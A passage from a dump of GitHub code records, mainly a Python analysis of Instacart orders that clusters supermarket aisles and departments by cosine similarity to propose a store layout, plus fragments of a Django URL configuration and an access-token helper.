`id`\n\n :param token:\n :param id:\n :return:\n \"\"\"\n response = None\n if token:\n response = access_token.db.getValueFromTable(config.getAccessTokensTableName(), access_token=token)\n else:\n response = access_token.db.getValueFromTable(config.getAccessTokensTableName(), id=id)\n\n if not response:\n return None\n\n return access_token(id=response[0], _access_token=response[1], lenght=response[2], script_name=response[3], date=response[4], ip=response[5])\n\n\n\n","repo_name":"Ar4ikov/MVS","sub_path":"server/api/access_token.py","file_name":"access_token.py","file_ext":"py","file_size_in_byte":5531,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"24592483976","text":"from django.urls import re_path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nfrom . import views as user_views\n# from pages.views import selection\n\n\n### Pour le test de l'edition du formulaire\n##from . views import IndividuListView, IndividuDetailView\napp_name='pages'\nurlpatterns = [\n\n### Page d'accueil\n re_path(r'^$', views.home, name = 'home'),\n re_path(r'test/$', views.personalPageView, name = 'test'),\n\n\n ### URL to redirect to a profile page\n re_path(r'profile/$', user_views.profile, name = 'profile'),\n\n ### URL pout tester l'edition d'un formulaire\n #url(r'test1/$', IndividuListView.as_view(), name=\"test1\"),\n #url(r'test1/<char:pk>/$', IndividuDetailView.as_view(), name=\"test1_detail\"),\n\n ### Login and logout URL\n re_path(r'login/$', auth_views.LoginView.as_view(template_name='general/login.html'),name=\"login\"),\n re_path(r'logout/$', auth_views.LogoutView.as_view(template_name='general/logout.html'),name=\"logout\"),\n\n ### URL to create an account\n re_path(r'createAccount/$', views.createAccountView,name=\"createAccount\"),\n\n ### URL to desactivate an account\n re_path(r'desactivateAccount/$', views.desactivateAccountView,name=\"desactivateAccount\"),\n\n## preSelection\n re_path(r'selectCand/$', views.selectCandidatView,name=\"selectCand\"),\n\n## Pour afficher la liste de preselection\n re_path(r'preSelection/$', views.preSelectionView,name=\"preSelection\"),\n\n## Selection finale\n re_path(r'selectFinal/$', views.selectFinalView,name=\"selectFinal\"),\n\n## Pour afficher la liste de selection finale\n\n re_path(r'selection/$', views.selectionView,name=\"selection\"),\n\n## Pour editer editer les infos de these et Equipe_recherche\n re_path(r'addInfoDoc/$', views.addInfoDocView,name=\"addInfoDoc\"),\n\n## Pour afficher l'information de utilisateur connecté différents du profile\n re_path(r'mesInfo/$', views.mesInfoView,name=\"mesInfo\"),\n\n\n## La page admin des utilisateur\n re_path(r'personalPage/$', views.personalPageView,name=\"personalPage\"),\n\n\n## La page admin des utilisateur\n re_path(r'personalPageAdmin/$', views.personalPageAdminView,name=\"personalPageAdmin\"),\n\n### Inscription\n#Candidat\n re_path(r'register/$', views.registerFormView, name=\"register\"),\n#Professeur\n re_path(r'registerProf/$', views.registerProfFormView, name=\"registerProf\"),\n\n re_path('admintemp', views.admintemp, name = 'admintemp'),\n\n\n #url('candidat_list', views.preSelectionView, name = 'candidat_list'),\n #url('candidatList', views.selectionView, name = 'candidatList'),\n\n### Pour renseigner la date des soutenance\n re_path('soutDate', views.soutDateView, name = 'soutDate'),\n\n\n### Pour renseigner la mention du doctorant\n re_path('mentionDoc', views.mentionDocView, name = 'mentionDoc'),\n\n\n\n### creattion de compte par l'admin\n re_path('createAccountAdmin', views.createAccountAdminView, name = 'createAccountAdmin'),\n\n\n### Pour ajouter le rapport\n re_path('addReport', views.addReportView, name = 'addReport'),\n\n\n### Pour ajouter un article\n re_path('writeArticle', views.writeArticleView, name = 'writeArticle'),\n\n\n### Pour afficher la liste des articles du doctorant\n re_path('mesArticles', views.mesArticlesView, name = 'mesArticles'),\n\n\n### Pour afficher la liste des articles des doctorants\n re_path('articles', views.articlesView, name = 'articles'),\n\n\n### Pour afficher la page des articles\n re_path('listArticles/(?P<article_id>\\d+)/$', views.listArticlesView, name = 'listArticles'),\n\n\n### Pour supprimer un article\n re_path('deleteArticle/(?P<article_id>\\d+)/$', views.deleteArticleView, name = 'deleteArticle'),\n\n\n### Pour editer un article\n re_path('editArticle/(?P<article_id>\\d+)/$', views.editArticleView, name = 'editArticle'),\n\n\n### Pour lire un article\n re_path('readArticle/(?P<article_id>\\d+)/$', views.readArticleView, name = 'readArticle'),\n\n\n### Pour valider un article\n re_path('validArticle/(?P<article_id>\\d+)/$', views.validArticleView, name = 'validArticle'),\n\n\n### Pour valider un article\n re_path('sendMsg', views.sendMsgView, name = 'sendMsg'),\n\n ### Pour afficher le chat\n re_path('chat/(?P<user_id>\\d+)/$', views.chatView, name = 'chat'),\n\n\n ### Pour lire un article\n re_path('allArticles', views.allArticlesView, name = 'allArticles'),\n\n### Pour afficher la liste des messages recus\n re_path('mesMsg', views.mesMsgView, name = 'mesMsg'),\n\n\n### Pour afficher la liste des messages recus\n re_path('profile', views.profile, name = 'profile'),\n\n\n\n]\n\n\n### <app>/<model>_<viewtype>.html\n","repo_name":"dansheddy25/GesDoc","sub_path":"plateforme/pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"37083372555","text":"#%%\nfrom math import trunc\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import SpectralClustering,AgglomerativeClustering, AffinityPropagation, OPTICS\nfrom scipy.sparse import csr, csr_matrix\nfrom sklearn.decomposition import TruncatedSVD,SparsePCA\nimport matplotlib.pyplot as plt\nfrom scipy.cluster.hierarchy import dendrogram, linkage\nimport matplotlib.gridspec as gridspec\nimport squarify\nimport itertools\nimport time\nimport pickle\nimport sys\nimport sys\n\n#local_vars = list(locals().items())\n#for var, obj in local_vars:\n# print(var, sys.getsizeof(obj))\n#%%\n\npd.set_option('display.max_rows', 134)\n\ndef plot_dendrogram(model, **kwargs):\n '''\n Given a clustering model, plots a dendrogram.\n '''\n # Create linkage matrix and then plot the dendrogram\n\n # create the counts of samples under each node\n counts = np.zeros(model.children_.shape[0])\n n_samples = len(model.labels_)\n for i, merge in enumerate(model.children_):\n current_count = 0\n for child_idx in merge:\n if child_idx < n_samples:\n current_count += 1 # leaf node\n else:\n current_count += counts[child_idx - n_samples]\n counts[i] = current_count\n\n linkage_matrix = np.column_stack(\n [model.children_, model.distances_, counts]\n ).astype(float)\n\n # Plot the corresponding dendrogram\n dendrogram(linkage_matrix, **kwargs)\n\ndef cosine_similariy(v1,v2):\n '''\n Calculates cosine similarity between two arrays of values. (v1*v2)/(mod(v1)*mod(v2))\n\n vector1 - array with length N\n vector2 - array with length N\n\n '''\n mod1=np.sqrt((v1*v1).sum())\n mod2=np.sqrt((v2*v2).sum())\n dot_product=(v1*v2).sum()\n return dot_product/(mod1*mod2)\ndef invert_dictionary(dict_in):\n '''\n Inverts keys and values of dictionary\n '''\n return {v: k for k, v in dict_in.items()}\n#Boolean variables to inform if there is a need to recalculate a section (or just import data that was calculated in this section previously so that there is no need to spend time recalculating)\nrecalculate_group_order_aisle=0\nrecalculate_cosine_similarity=0\nrecalculate_aisle_assignment=0\nrecalculate_group_order_department=0\nrecalculate_cosine_similarity_dept=0\nrecalculate_dept_product_dict=1\n#%%\n\n#reading csvs\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\n\nproducts=pd.read_csv('../data/products.csv')\naisles=pd.read_csv('../data/aisles.csv')\naisles_id=aisles['aisle_id']\ndepartments=pd.read_csv('../data/departments.csv')\n\n#getting unique aisles\nunique_aisles_dep=products[['aisle_id','department_id']].drop_duplicates()\nunique_aisles_dep=unique_aisles_dep.merge(aisles,on='aisle_id').merge(departments,on='department_id').sort_values(['department_id','aisle_id'])\n#getting aisle and department relation\naisle_name_with_dep_id=unique_aisles_dep.sort_values(by='aisle_id')\naisle_name_with_dep_id=aisle_name_with_dep_id.apply(lambda x:x['aisle']+'('+str(x['department_id'])+')',axis=1)\n\n\n#dictionary with aisles and aisles id\naisles_dict=dict(zip(aisles['aisle_id'],aisles['aisle']))\ndepartments_dict=dict(zip(unique_aisles_dep['department_id'],unique_aisles_dep['department']))\nproduct_dict=dict(zip(products['product_name'],products['product_id']))\ninverted_product_dict=invert_dictionary(product_dict)\naisle_dept_dict=dict(zip(unique_aisles_dep['aisle_id'],unique_aisles_dep['department_id']))\n\n\n\n#merging orders, departments and aisles\ncomplete_orders=orders.merge(products,on='product_id',how='left').merge(aisles,on='aisle_id').merge(departments,on='department_id')\n#count number of items bought by aisle and calculate pctg\nbought_by_aisle=complete_orders.groupby('aisle').count()[['order_id']].rename(columns={'order_id':'total_bought'}).sort_values(by='total_bought',ascending=False)\nbought_by_aisle['%total']=bought_by_aisle['total_bought']/bought_by_aisle['total_bought'].sum()*100\nbought_by_aisle['name']=bought_by_aisle.index\nbought_by_aisle['name+pctg']=bought_by_aisle.apply(lambda x:x['name']+'\\n'+'{:.1f}%'.format(x['%total']),axis=1)\n\n#count number of items bought by department and calculate pctg\nbought_by_department=complete_orders.groupby('department').count()[['order_id']].rename(columns={'order_id':'total_bought'}).sort_values(by='total_bought',ascending=False)\nbought_by_department['%total']=bought_by_department['total_bought']/bought_by_department['total_bought'].sum()*100\nbought_by_department['name']=bought_by_department.index\nbought_by_department['name+pctg']=bought_by_department.apply(lambda x:x['name']+'\\n'+'{:.1f}%'.format(x['%total']),axis=1)\n\n#%%\n#Plot pctg of items bought by department using a tree map \nplt.figure(figsize=(12,8))\nnum_labels_in_legend = 6\nlegends=list(bought_by_department['name+pctg'])\nax=squarify.plot(sizes=bought_by_department['total_bought'], label=legends[:-num_labels_in_legend], alpha=.8 , color=plt.cm.plasma(np.linspace(0, 1, len(legends))), text_kwargs={'color': 'white', 'size': 10,'rotation':30},ec='black',norm_x=144, norm_y=89)\nplt.axis('off')\nax.invert_xaxis()\nax.set_aspect('equal')\nax.legend(handles=ax.containers[0][:-num_labels_in_legend - 1:-1], labels=legends[:-num_labels_in_legend - 1:-1],fontsize=8,handlelength=1, handleheight=1)\nplt.title('Tree map of number of products bought by department')\nplt.show()\n#%%\n#Plot pctg of items bought by aisle using a tree map \n\nplt.figure(figsize=(12,8))\nnum_labels_in_legend = 110\nlegends=list(bought_by_aisle['name+pctg'])\nax=squarify.plot(sizes=bought_by_aisle['total_bought'], label=legends[:-num_labels_in_legend], alpha=.8 , color=plt.cm.plasma(np.linspace(0, 1, len(legends))), text_kwargs={'color': 'white', 'size': 8,'rotation':45},ec='black',norm_x=144, norm_y=89)\nplt.axis('off')\nax.invert_xaxis()\nax.set_aspect('equal')\nplt.title('Tree map of number of products bought by aisle')\n\nplt.show()\n\n# %%\n#Get all combinations of orders and aisles. This will later be used to correlate each aisle according to the orders in which they appeared together\nif recalculate_group_order_aisle:\n #merging products with orders\n orders_merged=orders.merge(products,on='product_id',how='left')\n del orders\n\n #Counting number of products of each transaction, separated into different aisles\n count_per_order=orders_merged.groupby(['order_id','aisle_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order['product']=1\n del orders_merged\n\n #Transforming each transaction into a feature. \n count_per_order=count_per_order.pivot_table(values='product',index='aisle_id',columns='order_id')\n\n count_per_order.to_hdf('..//processed_data/grouped_by_order_aisle.h5','main',mode='w',complib='blosc',complevel=9)\nelse:\n count_per_order=pd.read_hdf('..//processed_data/grouped_by_order_aisle.h5','main',mode='r')\ncount_per_order\n\n# %%\n#Calculate cosine similarity between each aisle\nif recalculate_cosine_similarity:\n #iterate through each aisle number and calculate the cosine similarity with all other aisles \n n_isles=len(count_per_order.index)\n cosine_similarity_matrix=np.zeros((n_isles+1,n_isles+1))\n for aisle_id_i in np.arange(1,n_isles+1):\n for aisle_id_j in np.arange(aisle_id_i,n_isles+1):\n cosine_similarity_matrix[aisle_id_i][aisle_id_j]=cosine_similariy(count_per_order.loc[aisle_id_i,:],count_per_order.loc[aisle_id_j,:])\n cosine_similarity_matrix[aisle_id_j][aisle_id_i]=cosine_similariy(count_per_order.loc[aisle_id_i,:],count_per_order.loc[aisle_id_j,:])\n\n #disconsidering index 0, as there was no aisle with index 0\n cosine_similarity_matrix=cosine_similarity_matrix[1:,1:]\n\n #saving data for later retrieval\n with open('../processed_data/cosine_similarity_matrix.npy', 'wb') as f:\n np.save(f, cosine_similarity_matrix)\nelse:\n #loading data processed in a previous run of the program\n with open('../processed_data/cosine_similarity_matrix.npy', 'rb') as f:\n cosine_similarity_matrix=np.load(f)\n#%%\n#show cosine similarity matrix\npd.DataFrame(cosine_similarity_matrix)\n# %%\n\n#using the precomputed cosine matrix and using complete linkage to group items together, plot the hierarchical structure using a dendogram\nclustering2=AgglomerativeClustering(n_clusters=10,affinity='precomputed',linkage='complete').fit(1-cosine_similarity_matrix)\n\nplt.figure(figsize=(8,15))\ngspec= gridspec.GridSpec(80,10)\n\nleft_ax= plt.subplot(gspec[:,:6])\nright_ax=plt.subplot(gspec[:,6:])\n\n#calculate linkage matrix using wards method\nlinkage_matrix = linkage(1-cosine_similarity_matrix, \"ward\")\ndend=dendrogram(linkage_matrix,truncate_mode='level',orientation='right',labels=list(aisle_name_with_dep_id),color_threshold=1.5,ax=left_ax)\nleft_ax.spines['right'].set_visible(False)\nleft_ax.spines['top'].set_visible(False)\nleft_ax.spines['left'].set_visible(False)\nleft_ax.spines['bottom'].set_visible(False)\nleft_ax.tick_params(axis='y', which='major', labelsize=7)\nleft_ax.set_xlabel('Closeness measure')\nleft_ax.xaxis.grid(True,linestyle='--',alpha=0.4)\nleft_ax.set_title('Hierarchical clustering with ward linkage')\ncell_text = []\nfor row in range(len(departments)):\n cell_text.append(departments.iloc[row])\nright_ax.table(cellText=cell_text, colLabels=departments.columns, loc='center')\nright_ax.annotate('Original department division',(0,0.68),fontsize=12)\nplt.axis('off')\nplt.tight_layout()\nplt.savefig('clustering_aisles.jpg',dpi=200)\ndel cosine_similarity_matrix,linkage_matrix\n#%%\n##1. Group kosher and indian food with seafood and dried vegetables and sea food\n##2. Vegan section: vegan+tofu\n##3. Junk food section: drinks, snacks, ice cream, cakes,\n##4. Move instant foods to frozen prepepared meals\n##5. Create condiments/spices/seasoning section \n##6. Put bread near other breakfast related items\n\n\n#why not use purely what was calculated:\n##1. Red section does not make sense and is counter intuitive: pets, household, dessserts and first aid personal care are grouped together\n##2. Personal care was split into two different sections\n# %%\ndel count_per_order\n\n#####PART 2 - ASSIGNING OTHERS AND MISSING TO OTHER SECTION#######\nif recalculate_aisle_assignment:\n #%%\n #remaking aisles so that each item in aisle \"other\" or \"missing\" is considered as a separate aisle\n aisles=complete_orders['aisle']\n products=complete_orders['product_name']\n aisle_ids=complete_orders['aisle_id']\n combined_data=np.transpose([aisles,products,aisle_ids])\n del aisles,products,aisle_ids\n\n remade_aisles=list(map(lambda x:x[1] if x[2] in [6,100] else x[0],combined_data))\n\n complete_orders['remade_aisles']=remade_aisles\n #%%\n #Obtaining all aisles and order_ids that happened together\n count_per_order2=complete_orders.groupby(['order_id','remade_aisles']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order2['product']=1\n\n\n #creating new dictionary considering products as aisles. Keep original aisles (aisles 1 to 21) identification. In the dictionary: Aisle_name as key, Aisle_id as value\n aisles_custom=list(set(pd.unique(count_per_order2['remade_aisles']))-set(aisles_dict.values()))\n aisles_custom.sort()\n aisles_dict_custom=dict(zip(aisles_custom,np.arange(len(aisles_dict)+1,len(aisles_dict)+1+len(aisles_custom))))\n\n inverted_aisles_dict=invert_dictionary(aisles_dict)\n\n aisles_dict_unified={**inverted_aisles_dict, **aisles_dict_custom}\n\n inverted_aisles_dict_unified={v: k for k, v in aisles_dict_unified.items()}\n\n #Adding remade aisle ids to dataframe\n count_per_order2['aisle_id_custom']=list(map(lambda x:aisles_dict_unified[x],count_per_order2['remade_aisles']))\n\n #%%\n\n #creating a dictionary. Each key is a transaction. Each value is the list of aisles in the transaction\n orders_aisles_list=np.transpose([list(count_per_order2['order_id']),list(count_per_order2['aisle_id_custom'])])\n dict_transactions={}\n for order_id in count_per_order2['order_id']:\n dict_transactions[order_id]=[]\n for item in orders_aisles_list:\n dict_transactions[item[0]]+=[item[1]]\n\n del count_per_order2\n #total number of new aisles (original aisles+products with no aisle assignment)\n number_unique_aisles_custom=len(aisles_dict_unified)\n\n #For each transaction, check which aisles appeared together to form a matrix that will be used to calculate the cosine similarity matrix\n\n common_appearances_matrix=np.zeros((number_unique_aisles_custom,number_unique_aisles_custom))\n total_count=np.zeros(number_unique_aisles_custom)\n\n #iterating through transactions\n for transaction in dict_transactions:\n\n aisles_this_trans=np.array(dict_transactions[transaction])\n #we are only interested in combinations of nonmain_aisles (from \"missing\" and \"other\" groups) and main aisles (frozen, bakery,etc)\n main_aisles_transactions=aisles_this_trans[aisles_this_trans<=len(aisles_dict)]\n nonmain_aisles_transactions=aisles_this_trans[aisles_this_trans>len(aisles_dict)]\n\n #add to respective index in 1D array each time an aisle appeared in a transaction\n for aisle_custom_id in aisles_this_trans:\n total_count[aisle_custom_id-1]+=1\n common_appearances_matrix[aisle_custom_id-1,aisle_custom_id-1]+=1\n\n #add to respective index in DD array each time two aisaislesles appeared simultaneously in a transaction\n\n for combination in list(itertools.product(nonmain_aisles_transactions,main_aisles_transactions)):\n common_appearances_matrix[combination[0]-1,combination[1]-1]+=1\n common_appearances_matrix[combination[1]-1,combination[0]-1]+=1\n del dict_transactions\n #calculating cosine similarity between each aisle\n cosine_similarity_matrix=common_appearances_matrix.copy()\n for i in np.arange(0,len(total_count)):\n for j in np.arange(0,len(total_count)):\n if i==j:\n cosine_similarity_matrix[i][j]=1\n else:\n cosine_similarity_matrix[i][j]=cosine_similarity_matrix[i][j]/(np.sqrt(total_count[i])*np.sqrt(total_count[j]))\n del common_appearances_matrix\n\n #iterate through each custom aisle (items that had no aisle assignment) and get original aisle (21 original aisles) that has the highest similarity to the product.\n #The product is then assigned to this section.\n aisle_assignment=[]\n for index in np.arange(len(aisles_dict),len(aisles_dict)+len(aisles_custom)):\n cosine_sim_this_custom_aisle=cosine_similarity_matrix[index]\n\n max_value=0\n count=0\n for cosine_similarity in cosine_sim_this_custom_aisle:\n if cosine_similarity>max_value and cosine_similarity!=1:\n max_value=cosine_similarity\n index_selected=count\n count+=1\n aisle_assignment+=[[inverted_aisles_dict_unified[index+1], inverted_aisles_dict_unified[index_selected+1],max_value]]\n del cosine_similarity_matrix\n aisle_assignment=pd.DataFrame(aisle_assignment,columns=['Product','Aisle Assigned','Cosine Similarity'])\n\n #Add extra information to the aisle assignment dataframe: number of transactions the product appeared on\n item_count=complete_orders[complete_orders['department_id'].apply(lambda x: x in [2,21])].groupby(['product_name','aisle']).count()[['order_id']].reset_index().rename(columns={'order_id':'number of transactions that had item','product_name':'Product','aisle':'aisle_origin'})\n\n del complete_orders\n\n aisle_assignment=aisle_assignment.merge(item_count,on='Product').sort_values(by='Cosine Similarity',ascending=False).reset_index(drop=True)\n\n aisle_assignment.to_csv('../processed_data/aisle_assignment_missing.csv')\n with open('../processed_data/aisles_dict_unified.pkl','wb') as fp:\n pickle.dump(aisles_dict_unified, fp)\nelse:\n aisle_assignment=pd.read_csv('../processed_data/aisle_assignment_missing.csv',index_col=0)\n with open('../processed_data/aisles_dict_unified.pkl','rb') as fp:\n aisles_dict_unified=pickle.load(fp)\n\n# %%\n\npd.set_option('display.max_rows', 1805)\n\naisle_assignment\n#%%\n#####PART 3 - Clustering departments\n\n#making dictionary with equivalency between product id and new aisle to which they are assigned\naisle_assignment['product_id']=aisle_assignment['Product'].apply(lambda x:product_dict[x])\n\n\naisle_assignment['aisle_id']=aisle_assignment['Aisle Assigned'].apply(lambda x:aisles_dict_unified[x])\n\nnew_aisle_assignment_dict=dict(zip(aisle_assignment['product_id'],aisle_assignment['aisle_id']))\n\n#\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\nproducts=pd.read_csv('../data/products.csv')\naisles=pd.read_csv('../data/aisles.csv')\ndepartments=pd.read_csv('../data/departments.csv')\n\nproducts['new_aisle_id']=products.apply(lambda x:new_aisle_assignment_dict[x['product_id']] if x['product_id'] in new_aisle_assignment_dict else x['aisle_id'],axis=1)\nproducts['new_department_id']=products['new_aisle_id'].apply(lambda x:aisle_dept_dict[x])\nproducts.to_csv('../processed_data/reassigned_products.csv')\nif recalculate_group_order_department:\n #merging products with orders\n orders_merged=orders.merge(products,on='product_id',how='left')\n del orders\n\n #Counting number of products of each transaction, separated into different aisles\n count_per_order=orders_merged.groupby(['order_id','new_department_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order['product']=1\n del orders_merged\n\n #Transforming each transaction into a feature. \n count_per_order=count_per_order.pivot_table(values='product',index='new_department_id',columns='order_id')\n\n count_per_order.to_hdf('..//processed_data/grouped_by_order_department.h5','main',mode='w',complib='blosc',complevel=9)\nelse:\n count_per_order=pd.read_hdf('..//processed_data/grouped_by_order_department.h5','main',mode='r')\ncount_per_order\n# %%\n# %%\n#Calculate cosine similarity between each aisle\nif recalculate_cosine_similarity_dept:\n #iterate through each aisle number and calculate the cosine similarity with all other aisles \n n_depts=len(count_per_order.index)\n cosine_similarity_matrix=np.zeros((n_depts+2,n_depts+2))\n for dept_id_i in np.arange(1,n_depts+2):\n for dept_id_j in np.arange(dept_id_i,n_depts+2):\n if dept_id_i==2 or dept_id_j==2:continue\n cosine_similarity_matrix[dept_id_i][dept_id_j]=cosine_similariy(count_per_order.loc[dept_id_i,:],count_per_order.loc[dept_id_j,:])\n cosine_similarity_matrix[dept_id_j][dept_id_i]=cosine_similariy(count_per_order.loc[dept_id_i,:],count_per_order.loc[dept_id_j,:])\n\n #disconsidering index 0, as there was no aisle with index 0\n cosine_similarity_matrix=cosine_similarity_matrix[1:,1:]\n\n #saving data for later retrieval\n with open('../processed_data/cosine_similarity_matrix_dept.npy', 'wb') as f:\n np.save(f, cosine_similarity_matrix)\nelse:\n #loading data processed in a previous run of the program\n with open('../processed_data/cosine_similarity_matrix_dept.npy', 'rb') as f:\n cosine_similarity_matrix=np.load(f)\n# %%\n#deleting second item, as it includes \"other\" department, which does not exist anymore\ncosine_similarity_matrix=np.delete(np.delete(cosine_similarity_matrix,1,0),1,1)\n#%%\n#using the precomputed cosine matrix and using complete linkage to group items together, plot the hierarchical structure using a dendogram\nclustering2=AgglomerativeClustering(n_clusters=10,affinity='precomputed',linkage='complete').fit(1-cosine_similarity_matrix)\n\nplt.figure(figsize=(8,15))\ngspec= gridspec.GridSpec(80,10)\n\nleft_ax= plt.subplot(gspec[:,:6])\nright_ax=plt.subplot(gspec[:,6:])\n\nlabels=list(departments_dict.values())\nlabels=[labels[0]]+labels[2:-1]\n\n#calculate linkage matrix using wards method\nlinkage_matrix = linkage(1-cosine_similarity_matrix, \"ward\")\ndend=dendrogram(linkage_matrix,truncate_mode='level',orientation='right',labels=labels,color_threshold=1,ax=left_ax)\nleft_ax.spines['right'].set_visible(False)\nleft_ax.spines['top'].set_visible(False)\nleft_ax.spines['left'].set_visible(False)\nleft_ax.spines['bottom'].set_visible(False)\nleft_ax.tick_params(axis='y', which='major', labelsize=7)\nleft_ax.set_xlabel('Closeness measure')\nleft_ax.xaxis.grid(True,linestyle='--',alpha=0.4)\nleft_ax.set_title('Hierarchical clustering with ward linkage')\ncell_text = []\nfor row in range(len(departments)):\n cell_text.append(departments.iloc[row])\nplt.axis('off')\nplt.tight_layout()\nplt.savefig('clustering_depts.jpg',dpi=200)\n#%%\ndel count_per_order\n#%%\nsection_distance={1:2,\n2:np.nan,\n3:2,\n4:1,\n5:3,\n6:4,\n7:1,\n8:4,\n9:3,\n10:4,\n11:3,\n12:3,\n13:2,\n14:2,\n15:2,\n16:1,\n17:3,\n18:3,\n19:1,\n20:2,\n21:np.nan}\n#%%\n#write here about the layout of the supermarket\n#%%\n# 4 - Getting items to display in front based on how many times they happened, as well as how much uncorrelated to their department they are.\n\n# %%\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\nproducts=pd.read_csv('../processed_data/reassigned_products.csv',index_col=0)\norders_merged=orders.merge(products,on='product_id',how='left')\ndel orders,products\nnew_dept_assignment_dict=dict(zip(orders_merged['product_id'],orders_merged['new_department_id']))\n\nunique_products_dep=orders_merged[['product_id','department_id']].drop_duplicates()\nproduct_dept_dict=dict(zip(unique_products_dep['product_id'],unique_products_dep['department_id']))\n\nif recalculate_dept_product_dict:\n count_per_order3=orders_merged.groupby(['order_id','new_department_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n\n orders_dept_list=np.transpose([list(count_per_order3['order_id']),list(count_per_order3['new_department_id']),list(count_per_order3['product'])])\n dict_transactions_dept={}\n for order_id in count_per_order3['order_id']:\n dict_transactions_dept[order_id]={}\n dict_transactions_dept[order_id]['departments']=[]\n dict_transactions_dept[order_id]['n_items']=[]\n \n for item in orders_dept_list:\n dict_transactions_dept[item[0]]['departments']+=[item[1]]\n dict_transactions_dept[item[0]]['n_items']+=[item[2]]\n\n dict_product_departments={}\n for prod_id in pd.unique(orders_merged['product_id']):\n dict_product_departments[prod_id]={}\n dict_product_departments[prod_id]['occurrences_with_dep']=np.zeros(len(departments)+1)\n dict_product_departments[prod_id]['occurrences']=0\n dict_product_departments[prod_id]['occurrences_alone_in_section']=0\n dict_product_departments[prod_id]['department']=product_dept_dict[prod_id]\n\n\n\n for index,row in orders_merged.iterrows():\n if index%100000==0:\n print(index//100000,end=', ')\n\n dict_product_departments[row['product_id']]['occurrences']+=1\n department_product=row['new_department_id']\n\n # if item is the only item of a department that appears in an order, add 1 to \"occurrences_alone_in_section\"\n if department_product in dict_transactions_dept[row['order_id']]['departments']:\n index_in_list=dict_transactions_dept[row['order_id']]['departments'].index(department_product)\n if dict_transactions_dept[row['order_id']]['n_items'][index_in_list]==1:\n dict_product_departments[row['product_id']]['occurrences_alone_in_section']+=1\n \n item_length=len(dict_transactions_dept[row['order_id']]['departments'])\n for i in np.arange(item_length):\n dept=dict_transactions_dept[row['order_id']]['departments'][i]\n n_items=dict_transactions_dept[row['order_id']]['n_items'][i]\n #dict_product_departments[row['product_id']]['occurrences_with_dep'][dept]+=n_items\n\n #skip in case the product is the only one of the department\n if dept == department_product and n_items==1:continue\n\n dict_product_departments[row['product_id']]['occurrences_with_dep'][dept]+=1\n\n\n with open('../processed_data/dict_product_departments.pkl','wb') as fp:\n pickle.dump(dict_product_departments, fp)\nelse:\n with open('../processed_data/dict_product_departments.pkl','rb') as fp:\n dict_product_departments=pickle.load(fp)\n#%%\n\n\n# %%\n#counting number of times dept appears\noccurences_by_dep={}\nfor i in np.arange(len(departments)+1):\n occurences_by_dep[i]=0\n\nfor dept_id in orders_merged['new_department_id']:\n occurences_by_dep[dept_id]+=1\n#%%\n#getting product id to dept id assignment\n# %%\n\n# %%\nproduct_info=[]\nfor product_id in new_dept_assignment_dict:\n\n dept_id_of_product=new_dept_assignment_dict[product_id]\n\n total_occur=dict_product_departments[product_id]['occurrences']\n occurences_other_depts=dict_product_departments[product_id]['occurrences_with_dep']\n\n occurences_unique_in_dept=dict_product_departments[product_id]['occurrences_alone_in_section']\n ptcg_unique_in_section=occurences_unique_in_dept/total_occur*100\n\n #occurences_other_depts[dept_id_of_product]-=total_occur\n\n cosimilarity_array=[]\n for dept_id in np.arange(len(occurences_other_depts)):\n if occurences_by_dep[dept_id]==0:\n cosimilarity_array+=[np.nan]\n continue\n cosimilarity_array+=[occurences_other_depts[dept_id]/np.sqrt(occurences_by_dep[dept_id]*total_occur)]\n max_cosimilarity=np.nanmax(cosimilarity_array)\n median_cosimilarity=np.nanmedian(cosimilarity_array)\n cosimilarity_its_own_dept=cosimilarity_array[dept_id_of_product]\n\n product_info+=[[product_id,dept_id_of_product,total_occur,cosimilarity_its_own_dept,median_cosimilarity,max_cosimilarity,ptcg_unique_in_section]]\n# %%\ndata_cosimilarity=pd.DataFrame(product_info,columns=['product_id','dept_id','total_occurrences','cosimilarity_with_own_dept','median_cosimilarity','max_cosimilarity','pctg_unique_item_of_section'])\ndata_cosimilarity['prod_name']=data_cosimilarity['product_id'].apply(lambda x:inverted_product_dict[x])\ndata_cosimilarity['dept_name']=data_cosimilarity['dept_id'].apply(lambda x:departments_dict[x])\n# %%\ndata_cosimilarity['ratio_itself_to_median_cosimilarity']=data_cosimilarity['cosimilarity_with_own_dept']/data_cosimilarity['median_cosimilarity']\n# %%\ndata_cosimilarity['rank_occurrences']=data_cosimilarity['total_occurrences'].rank(ascending=False)\ndata_cosimilarity['rank_itself_to_median']=data_cosimilarity['ratio_itself_to_median_cosimilarity'].rank(ascending=True)\ndata_cosimilarity['rank_unique_in_dept']=data_cosimilarity['pctg_unique_item_of_section'].rank(ascending=False)\n\n# %%\ndata_cosimilarity['final_rank']=data_cosimilarity['rank_occurrences']+data_cosimilarity['rank_unique_in_dept']+data_cosimilarity['rank_itself_to_median']\n#%%\ndata_cosimilarity['final_rank_modified']=data_cosimilarity['final_rank']/data_cosimilarity['dept_id'].apply(lambda x:section_distance[x])\n\n# %%\ndata_cosimilarity[data_cosimilarity['total_occurrences']>100].sort_values('final_rank').head(100)[['prod_name','dept_name','total_occurrences','pctg_unique_item_of_section','cosimilarity_with_own_dept','median_cosimilarity','ratio_itself_to_median_cosimilarity','rank_occurrences','rank_itself_to_median','rank_unique_in_dept','final_rank']]\n# %%\n\n# %%\n","repo_name":"Brandevin/Instamarket_analysis","sub_path":"code/market_layout.py","file_name":"market_layout.py","file_ext":"py","file_size_in_byte":27265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"802148194","text":"mat=[[0,0,0],\n [0,1,0],\n [1,1,1]]\ndef bfs(matrix,m,n,i,j):\n seen=set()\n seen.add((i,j))\n queue=[(i,j)]\n r,c=[-1,0,1,0],[0,1,0,-1]\n level=1\n while queue:\n new_q=[]\n for k in queue:\n 